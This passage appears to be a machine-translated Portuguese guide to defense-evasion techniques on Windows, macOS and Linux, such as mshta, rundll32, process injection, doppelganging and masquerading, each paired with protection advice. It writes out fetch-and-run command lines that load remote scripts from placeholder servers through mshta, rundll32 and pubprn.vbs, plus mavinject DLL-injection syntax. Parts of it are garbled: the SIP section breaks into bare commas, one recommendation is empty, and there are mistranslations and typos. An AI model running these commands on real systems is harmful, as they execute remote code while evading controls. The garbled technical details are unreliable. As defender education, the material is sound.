HKEY_LOCAL_MACHINE \ SOFTWARE \ Policies \ Microsoft \ SystemCertificates \ Root \ ProtectedRoots \ Flags = 1.É improvável que os certificados raiz do sistema sejam alterados com frequência, portanto, durante o monitoramento de novos certificados, é possível detectar atividades maliciosas ou garantir que não haja certificados desnecessários ou suspeitos. A Microsoft fornece uma lista de certificados raiz confiáveis por meio do authroot.stl. O utilitário Sysinternals Sigcheck pode ser usado para despejar o conteúdo do armazenamento de certificados (Sigcheck [64] .exe -tuv) e identificar certificados não incluídos na Lista de Confiabilidade de Certificados da Microsoft.
Os certificados raiz instalados estão localizados no registro nas seguintes seções:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ EnterpriseCertificates \ Root \ Certificates
HKEY_LOCAL_MACHINE [HKEY_CURRENT_USER] \ SOFTWARE [\ Policies] \ Microsoft \ SystemCertificates \ Root \ CertificatesHá um subconjunto de certificados raiz que são constantemente usados nos sistemas Windows que podem ser usados para monitorar:
• 18F7C1FCC3090203FD5BAA2F861A754976C8DD25;
• 245C97DF7514E7CF2DF8BE72AE957B9E04741E85;
• 3B1EFD3A66EA28B16697394703A72CA340A05BD5;
• 7F88CD7223F3C813818C994614A89C99FA3B5247;
• 8F43288AD272F3103B6FB1428485EA3014C0BCFE;
• A43489159A520F0D93D032CCAF37E7FE20A8B419;
• BE36A4562FB2EE05DBB3D32323ADF445084ED656;
• CDD4EEAE6000AC7F40C3802C171E30148030C072.
Sistema: Windows
Direitos: Usuário
Descrição: InstallUtil é um utilitário de linha de comando do Windows que pode instalar e desinstalar aplicativos em conformidade com as especificações do .NET Framework. O Installutil é instalado automaticamente com o VisualStudio. O arquivo InstallUtil.exe é assinado por um certificado da Microsoft e armazenado em:
C: \ Windows \ Microsoft.NET \ Framework \ v [versão] \ InstallUtil.exeOs invasores podem usar a funcionalidade InstallUtil para executar a execução de códigos de proxy e ignorar as listas de permissões de aplicativos.
Recomendações de proteção: É possível que o InstallUtil não seja usado no seu sistema, considere bloquear a instalação do InstallUtil.exe.
Sistema: macOS
Direitos: Usuário, Administrador
Descrição: A partir do OS X 10.8, o cabeçalho LC_MAIN é incluído nos executáveis do mach-O, que indica o ponto de entrada do código binário para executá-lo. Nas versões anteriores, dois cabeçalhos LC_THREAD e LC_UNIXTHREAD eram usados. O ponto de entrada do binário pode ser modificado e a adição mal-intencionada será executada inicialmente e, em seguida, a execução retornará ao ponto de partida para que a vítima não note nada. Essa modificação de arquivos binários é uma maneira de ignorar a lista branca de aplicativos, porque o nome do arquivo e o caminho para o aplicativo permanecerão inalterados.
Recomendações de proteção: use aplicativos que tenham apenas assinaturas digitais válidas de desenvolvedores confiáveis. A modificação do cabeçalho LC_MAIN invalidará a assinatura do arquivo e alterará a soma de verificação do arquivo.
Sistema: macOS
Direitos: Usuário, Administrador
Descrição: Launchctl - um utilitário para gerenciar o serviço Launchd. Usando o Launchctl, você pode gerenciar os serviços do sistema e do usuário (LaunchDeamons e LaunchAgents), bem como executar comandos e programas. O Launchctl suporta subcomandos da linha de comando, interativos ou redirecionados da entrada padrão:
launchctl submit -l [labelname] - / Caminho / para / coisa / para / execute '' arg "'' arg" '' arg " .
Ao iniciar e reiniciar serviços e daemons, os atacantes podem executar código e até ignorar a lista de permissões se o launchctl for um processo autorizado; no entanto, carregar, descarregar e reiniciar serviços e daemons podem exigir privilégios elevados.
Recomendações de segurança: Limitando os direitos do usuário para criar Agentes de Inicialização e iniciar Deamons de Inicialização usando a Diretiva de Grupo. Usando o aplicativo
KnockKnock ,
você pode descobrir programas que usam o launchctl para gerenciar os Agentes de Inicialização e os Deamons de Inicialização.
Sistema: Windows, Linux, macOS
Descrição: o disfarce ocorre quando o nome ou o local de um arquivo executável, legal ou malicioso, é sujeito a várias manipulações e abusos, a fim de burlar a proteção. Várias opções de mascaramento são conhecidas.
Uma opção é que o executável seja colocado em um diretório geralmente aceito ou receba o nome de um programa legítimo e confiável. O nome do arquivo pode ser semelhante ao nome de um programa legítimo. Esse método de mascaramento é usado para ignorar ferramentas que confiam em arquivos com base no nome ou caminho do arquivo, além de enganar os administradores de sistema.
WindowsOutra maneira de maximizar é o invasor usar uma cópia modificada de um utilitário legítimo, como o rundll32.exe. Nesse caso, um utilitário legítimo pode ser movido para outro diretório e renomeado para evitar a detecção com base no monitoramento do lançamento de utilitários do sistema a partir de locais fora do padrão.
Um exemplo de abuso de diretórios confiáveis no Windows é o diretório C: \ Windows \ System32. Os nomes dos utilitários de sistema confiáveis, como explorer.exe ou svchost.exe, podem ser atribuídos a binários maliciosos.
LinuxO próximo método de mascaramento é usar arquivos binários maliciosos que, após iniciar, alteram o nome do processo para o nome de um processo legítimo e confiável. Um exemplo de diretório confiável no Linux é o diretório / bin, e nomes como rsyncd ou dbus-inotifier podem ser nomes confiáveis.
Recomendações de segurança
: Ao criar várias regras de segurança, evite exceções com base no nome e no caminho do arquivo. Requer assinatura de arquivos binários. Use os controles de acesso do sistema de arquivos para proteger diretórios confiáveis, como C: \ Windows \ System32. Não use ferramentas para restringir a execução de programas com base no nome ou no caminho do arquivo.
Identifique e bloqueie software potencialmente perigoso e mal-intencionado que possa parecer um programa legítimo.
Sistema: Windows
Direitos: Usuário, administrador, sistema
Descrição: os invasores podem modificar o registro para ocultar informações nas chaves do registro ou excluir informações durante a limpeza dos traços de uma invasão ou em outros estágios do ataque.
O acesso a determinadas áreas do registro depende das permissões da conta. O utilitário Reg interno pode ser usado para modificação local e remota do registro. Outras ferramentas de acesso remoto que interagem com o registro por meio da API do Windows podem ser usadas.
Alterações no registro podem incluir ações para ocultar as chaves, por exemplo, adicionando chaves com um nome a partir de um caractere nulo. A leitura dessa chave por meio de Reg ou API resultará em um erro ou será ignorada. Os invasores podem usar essas pseudo-chaves ocultas para ocultar a carga útil e os comandos usados no processo de consolidação no sistema.
O registro do sistema remoto também pode ser alterado se o serviço Registro Remoto estiver ativo no sistema de destino. Normalmente, um invasor também precisa de credenciais válidas, além de acesso aos compartilhamentos de administração do Windows para usar o RPC.
Recomendações de proteção: A configuração incorreta de permissões no registro pode levar o invasor a executar código arbitrário (
Fraqueza nas permissões do Registro de Serviço ). Verifique se os usuários não podem alterar as chaves dos componentes do sistema. Bloqueie utilitários de sistema desnecessários e outros softwares que podem ser usados para modificar o registro. Considere ativar a auditoria do registro (ID do evento 4657), mas lembre-se de que as alterações feitas no Registro usando ferramentas como RegHide não serão registradas pelo serviço de coleta de eventos do SO
Sistema: Windows
Direitos: Usuário
Descrição: Mshta.exe (localizado em
C: \ Windows \ System32 \ ) é um utilitário que executa aplicativos HTML da Microsoft (* .HTA). Os aplicativos HTA são executados usando as mesmas tecnologias que o InternetExplorer usa, mas fora do navegador. Devido ao fato de o Mshta processar arquivos ignorando as configurações de segurança do navegador, os atacantes podem usar o mshta.exe para proxy a execução de arquivos HTA maliciosos, Javascript ou VBScript. O arquivo malicioso pode ser iniciado por meio do script interno:
mshta vbscript: Close (Execute ("GetObject (" "script: https [:] // servidor da web / carga útil [.] sct" ")")))ou diretamente, no URL:
mshta http [:] // servidor web / carga útil [.] htaRecomendações de proteção: A funcionalidade do mshta.exe está associada a versões mais antigas do IE que atingiram o final de seu ciclo de vida. Bloqueie o Mshta.exe se você não estiver usando sua funcionalidade.
Sistema: Windows
Descrição: a seção NTFS contém a MFT (Master File Table), que armazena dados sobre o conteúdo do volume, as linhas correspondem aos arquivos e as colunas aos seus atributos, incluindo atributos como Atributos estendidos (EA) - uma sequência de 64 kb) e Fluxos alternativos (Fluxos de dados alternativos (ADS) - metadados de tamanho arbitrário) que podem ser usados para armazenar quaisquer dados. Os invasores podem armazenar dados maliciosos e arquivos binários em atributos estendidos e metadados de arquivo. Essa técnica permite ignorar algumas ferramentas de proteção, como ferramentas de verificação estática baseadas em indicadores e algumas ferramentas antivírus.
Recomendações de proteção: O bloqueio do acesso ao EA e ADS pode ser bastante complexo e inadequado e, além disso, levar à operação instável da funcionalidade padrão do SO. Direcione o vetor de proteção para impedir que o software seja iniciado, com o qual você pode ocultar informações no EA e no ADS.
Sistema: Windows
Direitos: Administrador, usuário
Descrição: as conexões com as pastas de rede e o Windows Admin Share podem ser excluídas se não forem mais necessárias. Net é um exemplo de utilitário que pode ser usado para remover conexões de rede:
net use \ system \ share / delete . Os oponentes podem remover as conexões de rede que não precisam para limpar os traços de intrusão.
Dicas de segurança: siga as práticas recomendadas para organizar compartilhamentos de administrador do Windows. Identifique utilitários e software de sistema desnecessários que podem ser usados para conectar-se a compartilhamentos de rede e considere auditar seu uso ou bloqueio.
Sistema: Windows, Linux, macOS
Descrição: os invasores podem usar criptografia, criptografia e todos os tipos de métodos para ofuscar arquivos e seu conteúdo no sistema ou durante sua transferência.
As cargas úteis podem ser arquivadas ou criptografadas; algumas vezes, para desofuscação e inicialização subsequente, é necessária alguma ação do usuário, por exemplo, digite uma senha para abrir um arquivo preparado por um invasor.
Para ocultar linhas de texto sem formatação, partes dos arquivos também podem ser codificadas. As cargas úteis podem ser divididas em arquivos "benignos" separados que, quando montados como um todo, executam funcionalidades maliciosas.
Os oponentes também podem ofuscar comandos chamados de cargas úteis diretamente ou através da interface da linha de comandos. Variáveis de ambiente, aliases e caracteres específicos da semântica de plataforma ou idioma podem ser usados para ignorar a detecção de malware com base em assinaturas e listas de permissões.
Outro exemplo de ofuscação é o uso da esteganografia - a técnica de ocultar dados ou códigos em imagens, faixas de áudio, arquivos de vídeo e texto.
Recomendações de proteção: use ferramentas de análise e detecção de malware que verificam não apenas o código fonte, mas também analisam o processo de execução de comandos. No Windows 10, essa funcionalidade é apresentada como AMSI (Antimalware Scan Interface).
A presença de caracteres de escape em comandos, como ^ ou ", pode servir como um indicador de ofuscação. Usando o Windows Sysmon e o evento 4688 de identificação de evento, é possível visualizar os argumentos dos comandos executados em vários processos.
A ofuscação usada nas cargas úteis durante a fase de acesso inicial pode ser detectada na rede usando o sistema IDS e os gateways de segurança de e-mail que identificam dados e scripts compactados e criptografados nos arquivos anexados. A identificação de cargas transmitidas através de uma conexão criptografada de um site pode ser feita inspecionando o tráfego criptografado.
Sistema: macOS
Direitos: Usuário, Administrador
Descrição: os invasores podem modificar arquivos plist especificando neles seu próprio código para sua execução no contexto de outro usuário. Os arquivos de propriedades plist localizados em / Library / Preferences são executados com privilégios elevados, e os arquivos plist de ~ / Library / Preferences são executados com privilégios de usuário.
Dicas de segurança
: impeça que os arquivos plist sejam modificados, tornando-os somente leitura.
Sistema: Linux, macOS
Direitos: Usuário
Descrição: os invasores podem usar os métodos de Port Knocking para ocultar portas abertas que eles usam para se conectar ao sistema.
Dicas de
segurança: O uso de firewalls com estado pode impedir que algumas opções de Port Knocking sejam implementadas.
Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: NTFS transacional (TxF) é uma tecnologia introduzida pela primeira vez no Vista que permite operações de arquivo usando transações. No TxF, apenas um descritor de transação pode gravar o arquivo no momento, todos os outros descritores serão isolados e só poderão ler a versão do arquivo bloqueado no momento da abertura. Se o sistema ou aplicativo travar, o TxF reverterá automaticamente as alterações no arquivo. O TxF ainda está incluído no Windows 10.
A técnica Doppelganging do processo (do alemão “transmissão em dois estágios”, “curso duplo”) envolve o uso de funções WinAPI não documentadas e é implementada em 4 etapas:
- Transação Uma transação NTFS é criada usando o executável atacado e uma versão modificada temporária do executável é criada como parte da transação.
- Baixar Uma seção compartilhada é criada na memória na qual uma versão modificada do arquivo executável é carregada.
- Reversão. A transação NTFS é revertida, como resultado do qual o arquivo atacado original é salvo no disco em sua forma original.
- Animação. Usando uma versão modificada do arquivo executável que permanece na RAM, um processo é criado e sua execução é iniciada.
Assim, o código malicioso funcionará no contexto de um processo confiável legítimo. Dado que o ataque ocorre apenas na memória, porque Uma transação NTFS não foi concluída, mas é revertida; nenhum vestígio de atividade maliciosa permanecerá no disco.
Dicas de segurança: medidas de segurança preventivas na forma de tentativas de bloquear determinadas chamadas de API provavelmente terão efeitos colaterais negativos. O vetor de proteção deve ser direcionado para impedir o lançamento de ferramentas maliciosas em estágios anteriores da cadeia de ataques. Doppelganging pode ser usado para burlar os recursos de segurança; no entanto, ainda é uma boa prática bloquear aplicativos potencialmente perigosos e limitar o uso de software usando listas de permissões. A detecção de ataque é realizada analisando chamadas para as funções da API CreateTransaction, CreateFileTransacted, RollbackTransaction, funções não documentadas como chamadas NTCreateProcessEX, NtCreateThreadEX e API usadas para alterar a memória em outro processo, como WriteProcessMemory.
Sistema: Windows
Direitos: Usuário
Descrição: o ataque é realizado substituindo a imagem do arquivo executável do processo durante a suspensão do processo. Está entre as dez técnicas básicas para injetar processos .Dicas de segurança: medidas de segurança preventivas na forma de tentativas de bloquear determinadas chamadas de API provavelmente terão efeitos colaterais negativos. O vetor de proteção deve ser direcionado para impedir o lançamento de ferramentas maliciosas em estágios anteriores da cadeia de ataques. O Process Hollowing pode ser usado para contornar os recursos de segurança; no entanto, continua a ser uma boa prática bloquear aplicativos potencialmente perigosos e limitar o uso de software usando listas brancas.Sistema: Windows, Linux, macOSDireitos: Usuário, administrador, sistema, raizDescrição: A injeção de processo é um método de execução de código arbitrário no espaço de endereço de um processo ativo separado. A execução de código no contexto de outro processo permite acessar a memória do processo injetado, recursos do sistema / rede e possivelmente privilégios elevados. As injeções de processo também podem ser usadas para evitar a possível detecção de atividades maliciosas por meios de segurança. As técnicas para implementar as injeções nos processos são baseadas no abuso de vários mecanismos que garantem o multithreading da execução do programa no sistema operacional. A seguir, são apresentadas algumas abordagens para injetar código em um processo.Windows• injeções de DLL. Eles são executados escrevendo o caminho para a DLL maliciosa dentro do processo e, em seguida, executando-o criando um thread remoto (thread remoto - um thread que é executado no espaço de endereço virtual de outro processo). Em outras palavras, o malware grava a DLL no disco e usa uma função como CreateRemoteTread, que chamará a função LoadLibrary no processo injetado.• As injeções de PE (injeção executável portátil) são baseadas no abuso de recursos de execução de memória de arquivos PE, como DLL ou EXE. O código malicioso é gravado no processo sem gravar nenhum arquivo no disco e, em seguida, a execução é chamada usando o código adicional ou criando um fluxo remoto.• O seqüestro de execução de encadeamento envolve a injeção de códigos maliciosos ou caminhos de DLL diretamente no encadeamento do processo. Como a técnica Process Hollowing, o fluxo deve primeiro ser suspenso.• A injeção em uma injeção de chamada de procedimento assíncrona (APC) envolve a incorporação de código malicioso na fila da APC de um encadeamento de processo. Um dos métodos de injeção da APC, chamado “injeção Earle Bird”, envolve a criação de um processo suspenso no qual o código malicioso pode ser gravado e iniciado no ponto de entrada do processo pela APC. AtomBombing é outra opção de injeção que usa a APC para chamar código malicioso previamente gravado na tabela global de átomos.• As injeções de injeção do TLS (armazenamento local de segmento) envolvem a manipulação de ponteiros de memória dentro de um arquivo PE executável para redirecionar o processo para código malicioso.Mac e Linux• As variáveis do sistema LD_RPELOAD, LD_LIBRARY_PATH (Linux), DYLIB_INSERT_LIBRARIES (macOS X) ou a interface de programação de aplicativos (API) dlfcn podem ser usadas para carregar dinamicamente uma biblioteca (objeto compartilhado) em um processo, que por sua vez pode ser usado para interceptar chamadas de API de processos em execução.• A chamada do sistema Ptrace pode ser usada para conectar-se a um processo em execução e alterá-lo enquanto estiver em execução.• / proc / [pid] / mem fornece acesso à memória do processo e pode ser usado para ler / gravar dados arbitrários; no entanto, esse método raramente é usado devido à complexidade de sua implementação.• A captura de VDSO (objeto virtual compartilhado dinâmico virtual) permite injetar código durante a execução de binários ELF manipulando os stubs de código do linux-vdso.so.Programas maliciosos geralmente usam injeção de código em um processo para acessar os recursos do sistema, o que permite que um invasor consiga uma posição no sistema e execute outras alterações no ambiente atacado. Amostras mais complexas podem executar várias injeções de processo para dificultar a detecção.Recomendações de proteção:Os métodos de injeção de código nos processos são baseados no abuso de funções regulares do SO, um impacto direto no qual pode levar à operação instável de software e produtos de segurança legítimos. Os esforços para impedir o uso de técnicas de interceptação precisam se concentrar nos estágios iniciais da cadeia de ataque. Use ferramentas para bloquear software potencialmente perigoso, como o AppLocker. Use o Yama como uma medida preventiva contra a injeção de código no ptrace, limitando o uso do ptrace apenas a usuários privilegiados. Medidas de segurança adicionais podem incluir a implantação de módulos de segurança do kernel que fornecem controle avançado de acesso e restrição de processos. Essas ferramentas incluem SELinux, grsecurity, AppArmor.Sistema: Windows, Linux, macOSDireitos: Usuário, Administrador, Descrição do sistema:Os invasores podem usar simultaneamente várias ferramentas de acesso remoto com diferentes protocolos de controle para diversificar os riscos de detecção. Portanto, se uma das ferramentas de acesso remoto for detectada e bloqueada, mas a parte defensora não tiver identificado todas as ferramentas do invasor, o acesso remoto à rede atacada ainda será preservado. Os invasores também podem tentar obter acesso a contas válidas de serviços corporativos remotos, como VPNs, para obter acesso alternativo ao sistema no caso de bloquear as ferramentas básicas de acesso remoto. O uso de um shell da web também é uma das maneiras de acessar remotamente uma rede através de um servidor da web.Recomendações de proteção:Monitore a presença e o bloqueio do lançamento de ferramentas de acesso remoto conhecidas em sua rede (AmmyAdmin, Radmin, RemotePC, VNC etc.), use ferramentas para controlar o lançamento de aplicativos e bloquear software potencialmente perigoso. A introdução de sistemas IDS e IPS que detectam malware específico usando assinaturas reduzirá a probabilidade de um ataque bem-sucedido, mas com o tempo, os atacantes modificarão suas ferramentas para alterar a assinatura e, como resultado, ignorar os sistemas IDS e IPS.Sistema: WindowsDireitos: Usuário, AdministradorDescrição: Regsvcs e Regasm são utilitários de utilitário do Windows usados para se registrar no sistema de montagem COM (Component Object Model) do .NET. Ambos os arquivos são assinados digitalmente pela Microsoft. Os invasores podem usar Regsvcs e Regasm para executar a execução de código de proxy quando o atributo é o código que deve ser executado antes de registrar ou cancelar o registro: [ComRegisterFunction] ou [ComUnregisterFunction]. O código com esses atributos pode ser iniciado mesmo se o processo for executado com privilégios insuficientes ou até travar na inicialização.Recomendações de proteção: Bloqueie o Regsvcs.exe e o Regasm.exe se eles não forem usados no seu sistema ou rede.Sistema: Windows, Linux, macOSDireitos: Administrador, Sistema, raizDescrição: Os rootkits são programas que ocultam a presença de malware, interceptando e modificando chamadas de API. Os rootkits podem funcionar no nível do usuário, no kernel do sistema operacional ou até mesmo no nível de um hypervisor, MBR ou firmware do sistema. Os opositores usam rootkits para ocultar a presença de programas, arquivos, conexões de rede, drivers e outros componentes do sistema operacional.Recomendações de proteção: identifique e bloqueie softwares potencialmente perigosos que possam conter rootkits usando ferramentas de lista de permissões de software, ferramentas antivírus ou ferramentas de proteção integradas ao SO.Sistema: WindowsDireitos: Descrição do Usuário : O Rundll32.exe é um utilitário de sistema para o lançamento de programas localizados em bibliotecas conectadas dinamicamente; pode ser chamado para arquivo binário proxy, executar arquivos de controle do Windows (.cpl) por meio de funções shel32.dll não documentadas - Control_RunDLL e Control_RunDLLAsUser . Clicar duas vezes no arquivo .cpl também faz com que o Rundll32.exe seja executado. O Rundll32 também pode ser usado para executar scripts como JavaScript:javascript rundll32.exe: "\ .. \ mshtml, RunHTMLApplication"; document.write (); GetObject ("scrirpt: https [:] // www [.] Exemplo [ .] com / malicioso.sct ")"O método acima para usar o rundll32.exe é detectado por um software antivírus como um vírus como o Poweliks.Recomendações de proteção: o ASR (Attack Surface Reduction) no EMET e o Advanced Theart Protection no Windows Defender podem bloquear o uso do Rundll32.exe para ignorar a lista de permissões.Sistema: WindowsDireitos: Administrador,Descrição do Sistema : Os invasores podem modificar os componentes da arquitetura para assinar e verificar a assinatura digital do código do Windows para ignorar os meios de controlar o lançamento de programas que permitem que apenas o código assinado seja executado. Para criar, assinar e verificar a assinatura de arquivos de vários formatos no Windows, são utilizados o chamado SIP (Subject Interface Package) - especificações de software exclusivas para cada tipo de arquivo, através das quais a interação entre as funções da API inicia a criação, cálculo e verificação de assinaturas e diretamente arquivos A validade da assinatura é confirmada usando o chamado Trust Provider.- Estes são componentes de software do sistema operacional que executam vários procedimentos relacionados ao cálculo e verificação de assinaturas digitais.Métodos de ataque populares:- Modificação das chaves DLL e FuncName na seção CryptSIPDllGetSignedDataMsg :
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Cryptography \ OID \ EncodingType 0 \ CryptSIPDllGetSignedDataMsg \ [SIP_GUID] .
É realizado com o objetivo de substituir a biblioteca DLL que fornece a função CryptSIPDllGetSignedDataMSG , . (, Microsoft ) SIP. , , , , , , , . - DLL FuncName :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID] .
DLL-, CryptSIPDllVerifyIndirectData , , , , , (True/False). , c SIP. , DLL-. - DLL FuncName :
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID] .
DLL-, FinalPolicy Trust Provider, , . CryptSIPDllVerifyIndirectData, DLL-.
É importante observar que o ataque descrito ao mecanismo de confiança do Windows pode ser implementado usando a técnica de seqüestro de ordem de pesquisa DLL.Recomendações de proteção: verifique se os usuários do sistema protegido não podem modificar as chaves do Registro relacionadas aos componentes SIP e Trust Provider. Considere remover SIPs desnecessários e obsoletos. Use todos os tipos de meios para bloquear o download de DLLs maliciosas, por exemplo, aquelas incorporadas ao Windows AppLocker e DeviceGuard.Sistema: Windows, Linux, macOSDireitos: Descrição do usuário : Os invasores podem usar scripts para automatizar suas ações, acelerar tarefas operacionais e, como resultado, reduzir o tempo necessário para obter acesso. Algumas linguagens de script podem ser usadas para ignorar os mecanismos de monitoramento de processos, interagindo diretamente com o sistema operacional no nível da API, em vez de chamar outros programas. Os scripts podem ser incorporados nos documentos do Office como macros e depois usados para ataques de phishing. Nesse caso, os invasores esperam que o usuário execute o arquivo de macro ou que o usuário concorda em ativar a macro. Existem várias estruturas populares para implementar scripts - Metasploit, Veil, PowerSploit.Dicas de segurança: limite o acesso a scripts como VBScript ou PowerShell. No Windows, defina as configurações de segurança do MS Office, ativando a exibição segura e a proibição de macro por meio do GPO. Se forem necessárias macros, permita apenas a execução de macros confiáveis assinadas digitalmente. Use a microssegmentação e a virtualização de aplicativos, por exemplo, Sandboxie para Windows e Apparmor, Docker para Linux.Sistema: WindowsDireitos: Descrição do Usuário : Arquivos binários assinados com certificados digitais confiáveis podem ser executados em sistemas Windows protegidos pela verificação de assinatura digital. Vários arquivos da Microsoft assinados por padrão durante a instalação do Windows podem ser usados como proxy para o lançamento de outros arquivos:• Mavinject.exe é um utilitário do Windows que permite que o código seja executado. O Mavinject pode ser usado para inserir a DLL no processo em execução:"C: \ Arquivos de Programas \ Arquivos Comuns \ microsoft shared \ ClickToRun \ MavInject32.exe" [PID] / INJECTRUNNING [PATH DLL];C: \ Windows \ system32 \ mavinject.exe [PID] / INJECTRUNNING [PATH DLL];• SyncAppvPublishingServer.exe - pode ser usado para executar scripts do powershell sem executar o powershell.exe.Existem vários binários mais semelhantes .Recomendações de proteção: Muitos arquivos assinados não podem ser usados no seu sistema, portanto, considere bloquear a inicialização deles.Sistema: WindowsDireitos: UsuáriosDescrição: Os scripts assinados com certificados confiáveis podem ser usados para proxy de arquivos maliciosos, por exemplo, o PubPrn.vbs é assinado com um certificado da Microsoft e pode ser usado para executar um arquivo de um servidor remoto:cscript C: \ Windows \ System32 \ Printing_Admin_Scripts \ Script ru-RU \ pubprn.vbs 127.0.0.1: http [:] // 192.168.1.100/hi.pngRecomendações de proteção: Esses scripts assinados podem não ser necessários no seu sistema; considere bloquear o lançamento deles.Sistema: WindowsDescrição:O empacotamento de software envolve o uso de métodos de compactação ou criptografia pelo adversário em arquivos executáveis, resultando em uma alteração na soma de verificação do arquivo, o que evita a detecção com base na pesquisa de assinaturas estáticas. A maioria dos métodos de descompactação descompacta o código executável na memória. Exemplos de utilitários populares - os empacotadores de arquivos executáveis são MPRESS e UPS, no entanto, existem muitos outros empacotadores conhecidos. Além disso, os oponentes podem criar seus próprios métodos de empacotamento que não deixarão esses artefatos como empacotadores conhecidos. O empacotamento de arquivos executáveis não é um indicador claro de malware, pois os desenvolvedores legítimos de software podem usar métodos de empacotamento para reduzir o tamanho do pacote de distribuição ou proteger o código proprietário.Recomendações de proteção:Atualize as ferramentas de proteção antivírus, crie assinaturas personalizadas para detecção de malware e use métodos de detecção heurística. Identifique e bloqueie software potencialmente perigoso.Sistema: Linux, macOSDireitos: Descrição do usuário:Os invasores podem ocultar o verdadeiro tipo de um arquivo alterando sua extensão. Para certos tipos de arquivos (não funciona com arquivos .app), adicionar um caractere de espaço ao final do nome do arquivo mudará a maneira como o arquivo é processado pelo sistema operacional. Por exemplo, se houver um arquivo executável Mach-O com o nome evil.bin, quando o usuário clicar duas vezes, o sistema operacional iniciará o Terminal.app e o executará. Se o mesmo arquivo for renomeado para evil.txt, com um clique duplo, ele será iniciado em um editor de texto. No entanto, se o arquivo for renomeado para "evil.txt" (espaço no final), clicando duas vezes no tipo do arquivo true, o sistema operacional será determinado e o arquivo binário será iniciado. Os invasores podem usar essa técnica para induzir um usuário a iniciar um arquivo executável malicioso.Recomendações de proteção:O uso dessa técnica é difícil de evitar, porque um invasor usa mecanismos operacionais padrão do sistema operacional; portanto, o vetor de proteção deve ser direcionado para impedir ações maliciosas nos estágios anteriores do ataque, por exemplo, no estágio de entrega ou criação de um arquivo malicioso no sistema.Sistema: Windows, LinuxDireitos: Usuário, Administrador,Descrição do sistema : Timestomp é uma alteração nos carimbos de data / hora do arquivo (alteração, acesso, criação). Geralmente, os métodos de carimbo de data e hora são usados para mascarar arquivos que foram modificados ou criados por um invasor, para que não sejam perceptíveis por especialistas forenses e ferramentas forenses. O registro de data e hora pode ser usado em conjunto com o mascaramento de nome de arquivo para ocultar ferramentas de malware e intruso.Recomendações de proteção:Direcione o vetor de proteção para impedir o lançamento de software potencialmente perigoso e mal-intencionado. O forense descreve métodos para organizar ferramentas para detectar a modificação de registros de data e hora coletando informações sobre como abrir um descritor de arquivo e comparando-o com registros de data e hora especificados no arquivo.Sistema: WindowsDireitos: Descrição do Usuário : Existem muitos utilitários usados por desenvolvedores de software e que podem ser usados para executar código de várias formas no desenvolvimento, depuração e engenharia reversa de software. Esses utilitários geralmente são assinados com certificados digitais que permitem proxy de códigos maliciosos no sistema operacional, ignorando os mecanismos de segurança e as folhas de aplicativos em branco.• MSBulid é uma plataforma de desenvolvimento de software usada no Visual Studio. Ele usa projetos na forma de arquivos XML que descrevem os requisitos para a construção de várias plataformas e configurações. O MSBuild do .NET versão 4 permite inserir código C # em um projeto XML, compilá-lo e executá-lo. MSBulid.exe é assinado pelo Microsoft Digital Certificate.• DNX - .Net Execution Environmant (dnx.exe) é um kit de desenvolvimento para o Visual Studio Enterprise. Descontinuado desde a CLI do .NET Core em 2016. O DNX está ausente nas compilações padrão do Windows e só pode estar presente nos hosts do desenvolvedor ao usar o .Net Core e o ASP.NET Core 1.0. O Dnx.exe é assinado digitalmente e pode ser usado para execução de código proxy.• RCSI é uma interface de linha de comando não interativa para C #, semelhante ao csi.exe. Foi introduzido em uma versão anterior da plataforma do compilador Roslyn .Net. Rcsi.exe é assinado pelo Microsoft Digital Certificate. Os arquivos de script C # .csx podem ser gravados e executados usando o Rcsi.exe no prompt de comando do Windows.• WinDbg / CDB é o kernel do MS Windows e um utilitário para depuração no modo de usuário. O depurador de console da Microsoft cdb.exe também é um depurador no modo de usuário. Ambos os utilitários podem ser usados como ferramentas independentes. Comumente usado no desenvolvimento de software, engenharia reversa e não pode ser encontrado em sistemas Windows regulares. Os arquivos WinDbg.exe e CDB.exe são assinados pelo Microsoft Digital Certificate e podem ser usados para codificar proxy.• Tracker - utilitário de rastreamento de arquivos tracker.exe. Incluído no .NET como parte do MSBuild. Usado para registrar chamadas no sistema de arquivos do Windows 10. Os atacantes podem usar o tracker.exe para executar a DLL em vários processos. Tracker.exe também é assinado com um certificado da Microsoft.Recomendações de proteção: , .
Descrição: os invasores podem roubar as credenciais de uma conta de usuário ou serviço específica usando credenciais de acesso, capturar credenciais no processo de inteligência usando engenharia social. As credenciais comprometidas podem ser usadas para ignorar os sistemas de controle de acesso e obter acesso a sistemas remotos e serviços externos, como VPN, OWA, Área de Trabalho Remota, ou para obter privilégios elevados em sistemas e áreas específicos da rede. Se o cenário for bem-sucedido, os invasores podem recusar malware para dificultar a detecção. Além disso, os invasores podem criar contas usando nomes e senhas predefinidos para manter o acesso ao backup em caso de tentativas frustradas de usar outros meios.
Recomendações de proteção: aplique uma política de senha, siga as recomendações para projetar e administrar uma rede corporativa para limitar o uso de contas privilegiadas em todos os níveis administrativos. Verificações regulares de contas locais e de domínio e seus direitos, a fim de identificar aquelas que podem permitir que um invasor obtenha amplo acesso. Monitorando a atividade da conta usando sistemas SIEM.
Sistema: Windows
Direitos: Usuário
Descrição: os invasores podem usar um serviço da Web externo legítimo em execução como forma de enviar comandos para controlar um sistema infectado. Os servidores de gerenciamento são chamados de Comando e controle (C&C ou C2). Sites e redes sociais populares podem atuar como um mecanismo para o C2, e vários serviços públicos, como Google ou Twitter, também podem ser usados. Tudo isso ajuda a ocultar atividades maliciosas no fluxo geral de tráfego. Os serviços da Web geralmente usam SSL / TLS, para que os adversários obtenham uma camada extra de proteção.
Recomendações de segurança: Firewalls e proxies da Web podem ser usados para implementar políticas de comunicação de rede externa. Os sistemas IDS / IPS que usam análise de assinatura podem detectar malware conhecido no nível da rede. No entanto, vale considerar que, com o tempo, os oponentes alterarão as assinaturas da ferramenta C2 ou reconstruirão os protocolos de forma a evitar a detecção com a ajuda de defesas usadas com frequência. O uso de ferramentas para monitorar o comportamento do usuário também pode aumentar a chance de detectar atividades anormais.
Sistema: Windows
Direitos: Usuário
